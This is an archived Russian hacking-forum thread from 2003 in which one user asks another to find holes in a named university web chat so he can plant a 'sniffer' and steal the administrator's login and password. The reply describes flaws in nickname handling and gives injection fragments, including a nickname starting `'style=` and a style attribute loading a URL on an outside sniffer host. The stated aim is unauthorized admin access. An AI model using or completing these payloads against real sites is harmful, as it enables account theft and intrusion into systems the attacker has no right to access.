Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

18.01.2003, 20:37
|
|
Новичок
Регистрация: 11.11.2002
Сообщений: 29
Провел на форуме: 0
Репутация:
0
|
|
Алгол,посмотри пожалуйста на этот чат ( http://www.dgu.ru/uci/chat/chat.htm).Есть ли там уязвимости???Мне именно нужно сниффер вставить.
p.s. Это древняя версия thankschat'а (как на зеркале).
С флудом всё понятно...зафлудить его любой может,а вот картинку вставить....
|
|
|

18.01.2003, 22:37
|
Регистрация: 29.05.2002
Сообщений: 1,793
Провел на форуме: 2050916
Репутация:
0
|
|
Куча глюков.. можно писать от любого имени, можно смотреть приваты наверно...
Проходят символы % в нике что позволяет вставлять скрипты срабатывающие на нажатие (но толку мало так как длинна ника ограниченна 14 символами)
И самое главное:
В нике проходит одинарный апостроф, что позволяет выйти внутрь тега (в списке юзеров).
Проблема опять же в том, что длинна ника ограничена.
Но, думаю если зайти под несколькими хитрыми никами одновременно, то можно все же влепить сниффер.
Первый ник должен быть такой:
`'style=`
Остальное додумывай сам....
|
|
|

18.01.2003, 23:51
|
|
Новичок
Регистрация: 11.11.2002
Сообщений: 29
Провел на форуме: 0
Репутация:
0
|
|
Хорошо я зайду под несколькими никами и в том числе под "`'style=`".И что, юзверь должен будет всех их нажимать  Как этим можно воспользоваться
з.ы. а у тебя получилось сниффануть чат 
|
|
|

19.01.2003, 14:00
|
Регистрация: 29.05.2002
Сообщений: 1,793
Провел на форуме: 2050916
Репутация:
0
|
|
Не нужно будет никуда нажимать ...
Нужно выйти внутрь тега, и вставить контсрукцию
типа style=background:url( http://sniffer.ru)
|
|
|

19.01.2003, 15:58
|
|
Новичок
Регистрация: 11.11.2002
Сообщений: 29
Провел на форуме: 0
Репутация:
0
|
|
А у тебя получилось это сделать?
|
|
|

20.01.2003, 00:36
|
Регистрация: 29.05.2002
Сообщений: 1,793
Провел на форуме: 2050916
Репутация:
0
|
|
нет...
я особо и не пытался....
долго это мудохаться нада...
А зачем собсвенно тебе туда сниффер вставлять ?
|
|
|

20.01.2003, 14:18
|
|
Новичок
Регистрация: 11.11.2002
Сообщений: 29
Провел на форуме: 0
Репутация:
0
|
|
Да мне собственно нужно тоже , что и всем тем кто сидит в чате т.е. получить права админа.Для этого нужно проснифить чат и узнать id и pass админа.Вот и всё... :)
Может ты все же попытаешься сниффануть???Если у тебя не получиться , то нахрен мне вообще пытаться :)
|
|
|

22.01.2003, 23:48
|
Регистрация: 29.05.2002
Сообщений: 1,793
Провел на форуме: 2050916
Репутация:
0
|
|
сорри, нет времени на это...
|
|
|

23.01.2003, 19:49
|
|
Новичок
Регистрация: 11.11.2002
Сообщений: 29
Провел на форуме: 0
Репутация:
0
|
|
:[
|
|
|

30.01.2003, 18:53
|
|
Новичок
Регистрация: 11.11.2002
Сообщений: 29
Провел на форуме: 0
Репутация:
0
|
|
Неужели у тебя нет нескольких минут что бы вставить сниффер???Почему ты не хочешь помочь???
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|